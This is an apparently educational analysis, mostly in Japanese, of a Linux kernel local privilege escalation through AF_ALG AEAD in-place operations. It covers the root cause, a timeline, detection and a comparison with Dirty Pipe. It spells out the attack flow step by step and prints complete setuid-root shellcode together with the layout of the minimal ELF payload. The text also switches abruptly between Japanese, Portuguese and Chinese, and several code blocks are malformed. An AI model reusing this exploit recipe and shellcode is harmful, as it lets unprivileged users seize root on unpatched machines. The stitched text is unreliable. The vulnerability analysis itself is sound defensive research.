
# CVE-2026-31431の教育的分析:AF_ALG AEADインプレース操作によるLinuxカーネルのローカル権限昇格 技術的な根本原因、検出方法、および緩和策を含む、AF_ALG AEADインプレース操作を介したLinuxカーネルのローカル権限昇格(CVE-2026-31431)に関する教育的分析。
教育目的の技術分析 — LinuxカーネルにおいてDirty Pipe(2022年)以来最も重要な脆弱性の1つ。
このリポジトリは研究・学習・防御を目的としています。ここでは実用的なエクスプロイトは配布されません。
CVE-2026-31431は、Copy Failという別名で知られる、Linuxカーネルにおけるローカル権限昇格(LPE — Local Privilege Escalation)の脆弱性です。これにより、権限のないユーザーでも数秒でrootアクセスを取得できます。
| 属性 | 値 |
|---|---|
| CVE | CVE-2026-31431 |
| CVSSスコア | 7.8 HIGH |
| タイプ | ローカル権限昇格(LPE) |
| サブシステム | crypto/algif_aead.c — AF_ALG |
| 導入されたバージョン | Kernel 4.14(コミット 72548b093ee3、2017年7月) |
| 修正されたバージョン | 6.18.22 / 6.19.12 / 7.0(コミット a664bf3d603d) |
| 発見者 | Taeyang Lee — Theori / Xint Code |
| 公開日 | 2026年4月29日 |
| 公開PoC | あり — 約732バイトのPythonスクリプト |
オペレーティングシステムには作業メモリ(page cacheと呼ばれる)があり、使用中のファイルのコピーを保持しています。プログラムを実行すると、システムはそのプログラムをこのメモリに読み込み、ディスクから直接ではなくメモリから実行します。
Copy Failにより、一般ユーザーが特別なプログラム(suコマンドなどのsetuidバイナリ)のメモリ内コピーを変更できるようになります。ディスク上の元のファイルには触れません。ディスク上のファイルは無傷のままですが、プログラムが実行されると、システムは破損したメモリバージョンを読み取ります。
これは、料理中のシェフの記憶にあるレシピをすり替えるようなものです — 元のレシピ本は変わらないのに、出来上がる料理はまったく別物になります。
結果: 破損したプログラムが、攻撃者のコードをroot権限で実行します。
これが特に危険な理由:
2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)
2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos
2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)
2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017
2026 Abr 22 → CVE-2026-31431 atribuída
2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação
2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos
---
## 技術的な仕組み
### フローの概要```
Atacante (usuário sem privilégios)
│
├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
│ Cria socket de criptografia no kernel
│ bind: "authencesn(hmac(sha256),cbc(aes))"
│
├─ 2. setsockopt: define chave AEAD + authsize=4
│
├─ 3. accept() → op_socket
│
├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
│ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
│
├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
│ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
│ As páginas do arquivo agora estão no destino GRAVÁVEL da operação
│
├─ 6. recv() → dispara o authencesn
│ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
│ Escreve 4 bytes em dst[assoclen + cryptlen]
│ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
│ HMAC falha → retorna EBADMSG → IGNORADO
│
└─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
Executa o binário alvo → root shell
该 bug 存在于 crypto/algif_aead.c 中。2017 年,AEAD 操作被转换为就地操作以提升性能:```c
// Antes (seguro): req->src e req->dst são scatterlists separadas
// Depois (bugado, commit 72548b093ee3):
req->src = req->dst; // mesma scatterlist para entrada e saída
// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA
O algoritmo `authencesn` usa o buffer de destino como *scratch space* para reorganizar bytes do Extended Sequence Number (ESN) do IPsec:```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// offset que ultrapassa o output buffer
// e cai nas páginas do page cache encadeadas
書き込みは完全にVFSを迂回します。変更されたページはカーネルのwritebackメカニズムによってdirtyとマークされることは決してありません。ディスク上のファイルは無傷のままです。ハッシュベースの整合性ツール(aide、tripwire、inotifywait)は、ディスクを監視しておりpage cacheを監視していないため、何も検出しません。
このエクスプロイトは、zlibで圧縮された160バイトのミニELFを埋め込みます。解凍後、実行可能部分は次のようになります:```nasm ; Offset 0x78 no arquivo ELF (entry point)
xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root
lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)
; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)
bin_sh: db "/bin/sh", 0
**最小ELF構造(合計160バイト):**```
Offset 0x00–0x3F → ELF64 Header (64 bytes)
e_type=ET_EXEC, e_machine=EM_X86_64
e_entry=0x400078, e_phnum=1
Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes)
p_flags=PF_R|PF_X, p_vaddr=0x400000
p_filesz=0x9e
Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0")
| Dirty Cow (2016) | Dirty Pipe (2022) | Copy Fail (2026) | |
|---|---|---|---|
| CVE | CVE-2016-5195 | CVE-2022-0847 | CVE-2026-31431 |
| タイプ | CoWにおける競合状態 | フラグなしのパイプバッファ | AEADにおけるロジックバグ |
| 信頼性 | 競合依存(約ms) | 決定的 | 決定的 |
| ディスク上の痕跡 | あり(ダーティページ) | なし | なし |
| 移植性 | 広範囲 | 特定バージョン | 普遍的(2017–2026) |
| PoCのサイズ | C言語 約50行 | C言語 約40行 | Python 約10行 |
| サブシステム | mm/ (CoW) | fs/ (pipe) | crypto/ (AF_ALG) |
| 発見方法 | 手動 | 手動 | AI支援 |
| 悪用の機会 | 競合ウィンドウ | なし | なし |
カーネルバージョン:
機能するエクスプロイトが確認されているディストリビューション:
必要な条件: カーネルで CONFIG_CRYPTO_USER_API_AEAD=y または =m
システムが露出しているか確認する方法:```bash
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) print('⚠️ EXPOSTO: algif_aead acessível') s.close() except Exception as e: print(f'✅ Bloqueado: {e}') "
---
## Androidは影響を受けますか?
**短い回答:** 標準のAndroid(AOSP/GKI)は実際には**脆弱ではありません**が、非標準の設定のデバイスは確認する価値があります。